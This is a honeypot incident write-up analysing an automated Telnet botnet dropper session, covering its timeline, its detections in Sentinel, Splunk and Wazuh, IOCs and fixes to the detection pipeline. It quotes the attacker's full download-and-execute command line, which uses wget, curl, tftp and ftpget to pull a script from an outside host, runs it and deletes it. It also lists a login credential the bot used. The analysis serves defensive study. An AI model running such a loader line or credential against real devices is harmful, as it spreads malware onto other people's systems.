A one-second Telnet dropper, from first packet to verdict
This is a write-up of one real attack on my honeypot, done the way I would hand it to the next shift: what happened, how it was detected, what the automation did, what I concluded and what I would do about it. The attack itself is ordinary, and that is why I picked it. Most of a SOC's day is ordinary attacks, and the work is in confirming them quickly and in noticing what the tooling got wrong along the way.
Summary
- What
- An automated Telnet login as
root, a router-CLI escape, then a single command line that tries five ways to download a shell script, makes it executable, runs it and deletes it. - When
- 2026-11-11 06:55:29 to 06:55:30 UTC. The whole session lasted 1.07 seconds.
- Source
- A Korea Telecom fixed-line address, AbuseIPDB score 100/100 (36 reports from 30 users).
- Impact
- None. The target is a Cowrie honeypot; its egress filter blocked the download, so nothing ran.
- Detections
- 6 incidents in Microsoft Sentinel from six rules: four on Cowrie, one on Suricata and one correlating both (3 High, 2 Medium, 1 Low).
- Verdict
- True positive. Automated propagation by a Mirai-style IoT botnet, most likely sent from another infected device. No human operator was involved.
Sources and scope
- Cowrie (SSH/Telnet honeypot): every event of the session, as shipped to Sentinel's
Cowrie_CLtable. - Suricata (passive IDS on the same host): alerts in
Suricata_CL. - Sentinel
SecurityIncidentandSecurityAlert: what the analytics rules raised and what the SOAR playbooks wrote back. - AbuseIPDB, through the enrichment playbook (lookups only; the honeypot never reports).
- For pivots: the last 30 days of the same tables.
Source addresses are left out of this page, as on all my public honeypot pages. The download host is listed under IOCs, defanged.
Timeline (UTC)
| Time | Source | Event |
|---|---|---|
06:55:28.59 | Suricata | First packet. ET CINS Active Threat Intelligence Poor Reputation IP: the source is already on a public blocklist. |
06:55:29.29 | Cowrie | Telnet connection to port 23. |
06:55:29.53 | Cowrie | Login as root /
LSiuY7pOmZG2s accepted. First and only attempt: no failed logins before it. |
06:55:29.63 | Cowrie | enable, system,
shell, sh: the words that break out of a router's vendor CLI into a Linux
shell. All within 0.5 s. |
06:55:30.16 | Cowrie | The dropper command line (below). |
06:55:30.35 | Cowrie | Session closed by the client. |
06:55:30.40 | Suricata | ET EXPLOIT Zyxel runCommandInShell Telnet Service Command Injection Attempt (CVE-2024-40891) and ET HUNTING SUSPICIOUS Path to BusyBox, on the same packet. |
06:55:40.35 | Cowrie | Download failed: the honeypot drops all new outbound connections. |
06:56:58 | Sentinel | Suricata alerts ingested. |
07:01:53 | Sentinel | Incident 279, Network Exploit Attempt (High). Enriched 2 s later, set Active, sent to Telegram. |
07:05:14 | Sentinel | Cowrie events ingested (the shipper runs every 10 minutes), 4 minutes after the hourly rules had run. |
08:01:30–57 | Sentinel | Incidents 281 to 285 from the Cowrie rules, each enriched within about 3 s. |
08:04:07 | SOAR | Incident 285 (Low) auto-closed as True Positive. |
What the attacker sent
After the four CLI-escape words, everything happened in one line. I have split it at the semicolons and defanged the host:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; # first writable directory
/bin/busybox wget -q -O telnet2.sh hxxp://176[.]65[.]139[.]157/telnet2.sh;
busybox wget -q -O telnet2.sh hxxp://176[.]65[.]139[.]157/telnet2.sh;
wget -q -O telnet2.sh hxxp://176[.]65[.]139[.]157/telnet2.sh;
curl -s -o telnet2.sh hxxp://176[.]65[.]139[.]157/telnet2.sh;
busybox curl -s -o telnet2.sh hxxp://176[.]65[.]139[.]157/telnet2.sh;
tftp 176[.]65[.]139[.]157 -c get telnet2.sh; # two tftp syntaxes
tftp -r telnet2.sh -g 176[.]65[.]139[.]157;
ftpget -v -u anonymous -p anonymous -P 21 176[.]65[.]139[.]157 telnet2.sh telnet2.sh;
chmod 777 telnet2.sh; # make it executable
sh telnet2.sh; # run it
rm -rf telnet2.sh # and remove the evidence
Reading it as an analyst:
- It doesn't know what it landed on. Eight download methods over HTTP, TFTP and FTP, with and without BusyBox, cover whatever a cheap router or camera happens to ship. A human on a keyboard would have looked first.
- It doesn't stop to look. Login to disconnect took 0.8 s, with no pause anywhere that a person would need to read the output. This is a script replaying a fixed sequence.
- The payload is a stage-one script, not the bot itself. Loaders like this normally fetch one binary per CPU architecture next, which is why the egress block mattered: there is no second stage to look at, and also nothing to clean up.
- The source is a fixed-line consumer ISP with a 100/100 reputation, not a hosting provider. That fits a botnet spreading from devices it has already infected.
What the detections did
The rules are Sigma, converted to KQL and run hourly in Sentinel (uig.me/detections). Each raises one alert per source IP.
| Incident | Rule | Sensor | Severity | SOAR outcome |
|---|---|---|---|---|
| 279 | Network Exploit Attempt | Suricata | High | Active, assigned, Telegram |
| 282 | Download And Execute In One Command | Cowrie | High | Active, assigned, Telegram |
| 283 | Login Followed By Tool Transfer | Cowrie | High | Active, assigned, Telegram |
| 281 | Blocklisted Source Logs In | Suricata + Cowrie | Medium | New, waiting for an analyst |
| 284 | File Deleted Right After It Runs | Cowrie | Medium | New, waiting for an analyst |
| 285 | Network Device CLI Escape Attempt | Cowrie | Low | Auto-closed: Low + AbuseIPDB 75–100 |
One rule stayed silent on purpose. Permissions Changed To Run Or Unlock A File also matches
chmod 777 …; sh …, but it excludes lines that contain a download, so a dropper line is counted
once, by Download And Execute. One command should mean one alert.
The enrichment playbook wrote the same comment on each incident: the AbuseIPDB result, then the IP's
honeypot activity over 30 days (1 session, 1 login, 5 commands, 1 download attempt) with sample commands,
and tags abuse:75-100 and has-download. That comment is what lets an analyst
close the incident without opening a query window.
Pivots
The download host
Searching 30 days of Cowrie logs for 176[.]65[.]139[.]157 or telnet2.sh finds exactly
two sessions: this one, and one on 9 November at 00:01 UTC from a New Zealand mobile carrier's address,
also 100/100 on AbuseIPDB. That session logged in as user/user and sent a
byte-for-byte identical command line. Same tooling, same infrastructure, two days and two continents apart,
which again points to a bot spreading on its own. The earlier session came before the SOAR automation went
live (9 November, 15:47 UTC), so it was never enriched. (A third identical session came that evening; see
the Splunk pivot.)
The password
LSiuY7pOmZG2s isn't a factory default, so I checked whether it fingerprints this bot. It
appears once more, eleven hours later, from a different source. That session is a different family:
it renames the host to PBOC, probes nine directories for write access, and writes a script
with hex-escaped echo -ne chunks instead of downloading one. So the password is shared between
families, most likely through the same credential lists, and isn't evidence of a single operator.
The CVE
Suricata labelled the command line CVE-2024-40891, a command injection in Zyxel's Telnet service. The signature matches the shape of the payload over Telnet. My honeypot is not a Zyxel device and the attacker logged in normally first, so I read this as "this bot uses the same delivery as the campaigns that exploit that CVE", not as an exploit attempt that could have worked here. When I wrote this, the signature had fired exactly once in 30 days, on this session. It fired again 15 hours later, on the third session with the same loader.
MITRE ATT&CK
| Tactic | Technique | Evidence |
|---|---|---|
| Initial Access | T1078 Valid Accounts | Telnet login as root on the first try |
| Execution | T1059.008 Network Device CLI | enable, system, shell |
| Execution | T1059.004 Unix Shell | sh; sh telnet2.sh |
| Command and Control | T1105 Ingress Tool Transfer | wget, curl, tftp, ftpget of telnet2.sh |
| Defense Impairment | T1222.002 Linux File Permissions Modification | chmod 777 telnet2.sh |
| Stealth | T1070.004 File Deletion | rm -rf telnet2.sh right after running it |
Technique IDs follow ATT&CK v20, where Defense Evasion was split into Stealth and Defense Impairment.
IOCs
| Type | Value | Note |
|---|---|---|
| URL | hxxp://176[.]65[.]139[.]157/telnet2[.]sh | Stage-one loader. Also tried over TFTP (69/udp) and FTP (21/tcp). |
| IPv4 | 176[.]65[.]139[.]157 | Download host, seen in 3 sessions, 9 and 11 Nov |
| File name | telnet2.sh | Written to /tmp, /var/run, /mnt, /root or / |
| Credential | root / LSiuY7pOmZG2s | Shared with at least one other bot family |
| Suricata | ET EXPLOIT … CVE-2024-40891 | Fires on this payload over Telnet |
No file hash: the download never completed, so there is no sample. The source addresses are known and withheld here.
Assessment
True positive, no impact. I am highly confident this was automated botnet propagation: the timing, the blind command sequence, the spread of download fallbacks and the identical session from another country all point the same way. That it is Mirai-derived is a medium-confidence call: the CLI escape words and the loader style are typical of that family, but without the second stage I can't name the variant.
On a real network, the same session against an exposed router would have been a compromise: the device would have pulled the bot and started scanning for the next victim. The recommendations below are for that case.
- Contain: block the download host at the egress firewall or proxy on every port, not just 80. The loader falls back to TFTP and FTP.
- Hunt: search firewall, proxy and DNS logs for any internal host that has contacted
176[.]65[.]139[.]157, and treat any hit as an infected device. - Harden: close Telnet (23/tcp) at the perimeter, disable it on devices that offer it, and replace factory and shared credentials. This attack needs nothing more than an open Telnet port and a password from a list.
- Enrich: check the URL against URLhaus and VirusTotal for a second stage and hashes. I haven't done that here; it is the next step if this were a live case.
What it showed me about my own pipeline
Working one incident end to end turned up four things I wouldn't have seen from the dashboards.
- Detection took 66 minutes for the Cowrie rules. The shipper sends every 10 minutes and the rules run hourly on what was ingested in the last hour. The Cowrie events arrived at 07:05, four minutes after the 07:01 run, so they waited for 08:01. Suricata's alert, shipped sooner, became an incident in 6 minutes. For the High rules I could run every 10–15 minutes, or move them to near-real-time rules.
- The first enrichment was stale. Incident 279 was enriched at 07:01, when the honeypot data wasn't in yet, so its comment says "0 sessions, 0 commands" for an IP that had logged in and run a dropper. The playbook only runs on creation. It should also run when a new alert joins the incident, or the comment should say when its data ends.
- One session made six incidents and three Telegram messages. Grouping works per rule, not across rules. For a SOC this is alert fatigue: six tickets to close for one second of activity. The fix is an incident per source IP across all rules, or one correlation rule that raises a single "dropper chain" incident with the others attached as evidence.
- The same event alerted twice. Incident 279 holds two alerts an hour apart that contain the identical Suricata record. Across all rules, of the roughly 300 alerts in three days whose event I could extract, 12 repeat an earlier record. Grouping folds them into the existing incident, so nothing was double-counted as an incident, but the one-hour ingestion window evidently overlaps between runs. I haven't confirmed the cause yet.
Smaller notes: incident 284 shows no tactic in Sentinel, because Sentinel's API has no value yet for ATT&CK v20's Stealth tactic (a known limit in uig-detections); and 285 took 129 s to enrich where the others took 2–3 s.
None of these change the verdict on this attack. They change how much I would trust the pipeline's timing and its comments on a busier day, and they are now my next fixes.
Follow-up, same day: all four fixed
- Duplicate alerts: cause found. Every alert's creation time is about 300 s after the end
of its query window (median 303 s), and the second alert in 279 could only have matched if
ago(1h)is measured from the window's end. So Sentinel runs the query five minutes late withnow()set to the end of the window. Events ingested in those five minutes were caught by that run and again by the next. The query now readsingestion_time() > ago(15m) and ingestion_time() <= now(), which makes the windows back to back. The few remaining duplicates came from redeploys, which start a fresh schedule. - Latency: rules now run every 15 minutes instead of hourly, all 17 of them. A Cowrie event now waits at most about 30 minutes for its incident (10 minutes of shipping, up to 15 to the next run, 5 of Sentinel's delay), not 66. After the deploy, the window ends moved from hourly to every 15 minutes (19:51, then 20:06).
- Stale enrichment: the playbook waits when it finds nothing. Re-running on "alert added" wouldn't have helped 279: once the duplicates are fixed, nothing new joins it, and the Cowrie data lands in other incidents. Instead, if the honeypot query finds 0 sessions, the playbook waits 10 minutes (one shipper cycle) and asks once more, and the comment says when it queried. Incidents from Cowrie rules always have sessions, so they skip the wait: the first real one after the deploy was enriched in 3 s. The end-to-end test passed 6 of 6 checks, and its comment came 604 s after the incident, as designed.
- Six incidents for one session: now one. Sentinel groups alerts into incidents only within one rule, so the detection rules now raise alerts only. A new rule, Honeypot activity, reads their new alerts every 5 minutes and raises one alert per IP with the highest severity, the rules that fired and their tactics and techniques. Its incidents group by IP and severity over a day. Severity is part of the key because Sentinel doesn't raise an open incident's severity when a worse alert joins it, so a High alert for an IP with an open Medium incident opens a new High one and notifies. The 251 incidents of the two days before came from 74 IPs. The first real one after the change: four rules fired on one session, and it became one High incident, enriched in 4 s, with one Telegram message. The cost is 5 to 10 more minutes before the incident exists.
The changes are in uig-detections 0363134 and 3209ad9. In a few days I'll recount the duplicate alerts on live data to confirm the first fix holds.
The same incident in Splunk and Wazuh (13 November)
Sentinel is the SIEM I run live. I also keep a local Splunk and a local Wazuh on my Mac, loaded with the
pseudonymized copy of the same rows that uig.me/investigations uses: source
addresses become src- plus eight hex digits, and addresses inside commands become
[ip]. I worked the session again in each one from the start: find it, rebuild the timeline,
see what the detections caught, and repeat the pivots.
Splunk
One search covers both sensors, because Cowrie and Suricata are two sourcetypes in the same index:
index=honeypot_demo src_ip=src-14c2f28d
| table _time sourcetype eventid username password input signature
| sort _time
It returns 19 rows, 16 from Cowrie and 3 from Suricata, with the same timestamps as the Sentinel timeline above down to the millisecond. Two of the app's seven scheduled detections apply:
- HP-01 Login followed by tool download fired: 0.63 s from the accepted login to the first download command.
- HP-02 New download URL did not fire, and that is correct. It keeps every URL it
has seen in a lookup and alerts only on new ones.
telnet2.shwas new on 9 November, when HP-02 did fire, so on the 11th it was known infrastructure.
The pivot on the download host is where Splunk was best. Earlier I compared the 9 November command line to this one by eye. In Splunk a hash makes that one line:
index=honeypot_demo sourcetype=cowrie:json eventid=cowrie.command.input "telnet2.sh"
| eval cmd_md5=md5(input)
| stats min(_time) AS first values(cmd_md5) AS cmd_md5 by session src_ip
| First command (UTC) | Session | Login | Command line MD5 |
|---|---|---|---|
| 9 Nov 00:01:52 | 260947a60300 | user / user | ad52f6d3… |
| 11 Nov 06:55:30 | a9728ab959da | root / LSiuY7pOmZG2s | ad52f6d3… |
| 11 Nov 22:11:27 | 54e5a5f1d89a | admin / (empty) | ad52f6d3… |
That turned up a third session I hadn't seen when I wrote the pivots: the same evening, 15 hours later, from a Canadian fixed-line ISP's address, again 100/100 on AbuseIPDB. It used a third credential and sent the identical command line. Suricata's CVE-2024-40891 signature fired on it too, so it has now fired twice in 30 days, both times on this loader. Three sessions from three continents with three different logins all send the same command line, which makes the self-spreading reading stronger.
Splunk's weakness in my setup is that it isn't live. It only sees what ./hp pull copies to the
Mac, so here it's a hunting tool, not an alerting one. It has no search on the Suricata data, and nothing
for the CLI escape, chmod or rm. The cowrie_ttp macro tags those
techniques, but no detection uses them.
Wazuh
In Discover, data.src_ip:src-14c2f28d and rule.level >= 5. The first pass was the most
useful result of this exercise, because it showed a gap. Wazuh had all 19 events as alerts, but the only one
at level 10 or above was Suricata's CVE signature. On the Cowrie side the dropper line was a level-3
"command typed", the same as enable, and the failed download fell through to the generic
level-3 rule. My Wazuh rules only read command text to look for persistence, so the dropper was in the data
and nothing flagged it.
I added four rules (siem-wazuh/config/local_rules.xml in uig-honeypot):
| Rule | Level | Matches | ATT&CK |
|---|---|---|---|
| 100105 | 8 | A download command: the T1105 regexes from the honeypot's ttp_rules.json (wget, curl, tftp, ftpget, /dev/tcp/, hex echo chunks) | T1105 |
| 100106 | 10 | The same line also runs chmod, sh file or ./file | T1105, T1059.004 |
| 100112 | 5 | Cowrie's file_download.failed | T1105 |
| 100120 | 12 | Any of the three, or a completed download, within 300 s of an accepted login in the same session | T1078, T1105 |
The correlation rule groups by Cowrie session, not by IP. My Wazuh receives events by replay, which
feeds days of events in a few minutes. A 300-second window keyed on the IP would pair a login and a download
that were days apart. Session IDs are unique, so that can't happen. I checked the rules in
wazuh-logtest before replaying, including cases that must not chain. A download in a different
session from the login doesn't chain. A download with no login raises only 100105. A line that adds an SSH key
stays the persistence alert.
After the change, this session raises the Suricata alerts as before, plus 100120 twice: once on the dropper line and once on the failed download. Across all five days, 100120 flags 117 sessions to HP-01's 122 in Splunk, and it finds none that Splunk missed. The other five chain correctly when I replay just those sessions, so the gap comes from the bulk replay, not the rule. A live feed wouldn't have it.
Two things Wazuh does differently from the other two:
- One rule per event. The rule tree stops at the deepest match, so a command line that
plants a cron job and also runs
wgetraises the cron alert and never reaches the download rules. Splunk's macro gives the same event both T1053.003 and T1105. - One alert per event, with no per-session suppression. 100120 raised 1,974 alerts for
117 sessions. Three sessions that write a binary in 468 hex
echochunks account for most of them. Splunk suppresses HP-01 per session. Wazuh'signoreattribute silences a rule for every source at once, so here grouping by session belongs in the dashboard.
I also found a bug in my own tooling. The Wazuh image copies the mounted rule file only on its first
start, so after a restart it kept running the old rules, without any error. ./hp wazuh load now
compares the two files, and when they differ it copies the new one in, checks that it loads, and restarts the
manager.
Side by side
| Sentinel incident (rule) | Splunk | Wazuh |
|---|---|---|
| Network Exploit Attempt (High) | no search on Suricata data | 100202, level 10 |
| Download And Execute In One Command (High) | part of HP-01 | 100106 (new); 100120 takes over on this session |
| Login Followed By Tool Transfer (High) | HP-01 | 100120, level 12 (new) |
| Blocklisted Source Logs In (Medium) | ad hoc search only | none: no rule spans both sensors |
| File Deleted Right After It Runs (Medium) | none | none |
| Network Device CLI Escape Attempt (Low) | tagged T1059.008, no alert | none |
| no equivalent | HP-02 New download URL, on 9 Nov | none |
What I take from it:
- Coverage comes from the rules, not from the SIEM. Sentinel caught the most because it runs the 17 Sigma rules I wrote for it. With the detections I'd built for each of the other two, Splunk caught one stage and Wazuh caught only the network side until I added rules. The next step is to convert the same Sigma rules with sigma-cli's Splunk backend. Then the comparison is between products, not between rule sets.
- Splunk is the better tool for hunting.
evalandstatsacross both sourcetypes answered every pivot in one search, and that is how the third session turned up. - Wazuh fits per-event alerting better than cross-event correlation.
if_matched_sidwithsame_fieldhandles a two-step chain, but there's no clean way to say "once per session" or "this IP was also on a blocklist". - Sentinel, live, showed the cost of my fix. The third session arrived after the same-day changes. It became two incidents instead of one: a Medium (351) at 22:33, from File Deleted, which landed in an earlier 15-minute window, and a High (352) at 22:48 with the other five rules. Because severity is part of the grouping key, the High alert opened a new incident, exactly as described above. The High incident existed 37 minutes after the session, inside the 30 to 40 minutes the fix predicted.
The Wazuh rules and the reload fix are in uig-honeypot.